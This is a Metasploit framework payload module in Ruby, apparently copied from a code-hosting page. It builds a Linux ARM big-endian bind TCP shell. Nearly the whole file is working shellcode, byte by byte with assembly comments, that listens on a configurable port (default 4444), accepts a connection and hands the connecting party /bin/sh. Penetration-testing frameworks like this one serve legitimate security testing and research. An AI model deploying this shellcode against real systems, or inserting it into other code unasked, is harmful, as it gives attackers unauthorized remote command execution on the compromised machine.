112 lines
3.8 KiB
Ruby
112 lines
3.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 118
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Linux
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Linux ARM Big Endian Command Shell, Bind TCP Inline',
|
|
'Description' => 'Listen for a connection and spawn a command shell',
|
|
'Author' => 'Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>',
|
|
'References' => [['URL', 'https://github.com/earthquake/shellcodes/blob/master/armeb_linux_ipv4_bind_tcp.s']],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_ARMBE,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::CommandShellUnix
|
|
))
|
|
# Register command execution options
|
|
register_options(
|
|
[
|
|
OptString.new('CMD', [ true, "The command to execute.", "/bin/sh" ]),
|
|
Opt::LPORT(4444)
|
|
])
|
|
end
|
|
def generate(_opts = {})
|
|
cmd = (datastore['CMD'] || '') + "\x00"
|
|
bytehigh = (datastore['LPORT'].to_i >> 8).chr
|
|
bytelow = (datastore['LPORT'].to_i & 0xFF).chr
|
|
|
|
payload =
|
|
# turning on thumb mode
|
|
"\xe2\x8f\x60\x01" + # add r6, pc, #1 #
|
|
"\xe1\x2f\xff\x16" + # bx r6 #
|
|
|
|
# thumb mode on
|
|
# socket(2,1,0)
|
|
"\x1a\x92" + # sub r2, r2, r2 #
|
|
"\x1c\x51" + # add r1, r2, #1 #
|
|
"\x1c\x90" + # add r0, r2, #2 #
|
|
"\x02\x0f" + # lsl r7, r1, #8 #
|
|
"\x37\x19" + # add r7, r7, #0x19 #
|
|
"\xdf\x01" + # svc 1 #
|
|
"\x1c\x06" + # mov r6, r0 #
|
|
|
|
# bind()
|
|
"\x22\x02" + # mov r2, #2 #
|
|
"\x02\x12" + # lsl r2, r2, #8 #
|
|
"\x32"+bytehigh + # add r2, r2, #0xXX #
|
|
"\x02\x12" + # lsl r2, r2, #8 #
|
|
"\x32"+bytelow + # add r2, r2, #0xXX #
|
|
"\x1a\xdb" + # sub r3, r3, r3 #
|
|
"\x1b\x24" + # sub r4, r4, r4 #
|
|
"\x1b\x6d" + # sub r5, r5, r5 #
|
|
"\x46\x69" + # mov r1, sp #
|
|
"\xc1\x3c" + # stm r1!, {r2-r5} #
|
|
"\x39\x10" + # sub r1, #0x10 #
|
|
"\x22\x10" + # mov r2, #16 #
|
|
"\x37\x01" + # add r7, r7, #1 #
|
|
"\xdf\x01" + # svc 1 #
|
|
|
|
# listen()
|
|
"\x1c\x30" + # mov r0, r6 #
|
|
"\x1a\x49" + # sub r1, r1, r1 #
|
|
"\x37\x02" + # add r7, r7, #2 #
|
|
"\xdf\x01" + # svc 1 #
|
|
|
|
# accept()
|
|
"\x1c\x30" + # mov r0, r6 #
|
|
"\x1a\x92" + # sub r2, r2, r2 #
|
|
"\x37\x01" + # add r7, r7, #1 #
|
|
"\xdf\x01" + # svc 1 #
|
|
"\x1c\x06" + # mov r6, r0 #
|
|
|
|
# dup2()
|
|
"\x1a\x49" + # sub r1, r1, r1 #
|
|
"\x27\x3f" + # mov r7, #63 #
|
|
"\xdf\x01" + # svc 1 #
|
|
"\x1c\x30" + # mov r0, r6 #
|
|
"\x31\x01" + # add r1, r1, #1 #
|
|
"\xdf\x01" + # svc 1 #
|
|
"\x1c\x30" + # mov r0, r6 #
|
|
"\x31\x01" + # add r1, r1, #1 #
|
|
"\xdf\x01" + # svc 1 #
|
|
|
|
# execve()
|
|
"\x1a\x92" + # sub r2, r2, r2 #
|
|
"\x46\x78" + # mov r0, pc #
|
|
"\x30\x12" + # add r0, #18 #
|
|
"\x92\x02" + # str r2, [sp, #8] #
|
|
"\x90\x01" + # str r0, [sp, #4] #
|
|
"\xa9\x01" + # add r1, sp, #4 #
|
|
"\x27\x0b" + # mov r7, #11 #
|
|
"\xdf\x01" + # svc 1 #
|
|
|
|
# exit()
|
|
"\x1b\x24" + # sub r4, r4, r4 #
|
|
"\x1c\x20" + # mov r0, r4 #
|
|
"\x27\x01" + # mov r7, #1 #
|
|
"\xdf\x01" + # svc 1 #
|
|
cmd
|
|
end
|
|
end
|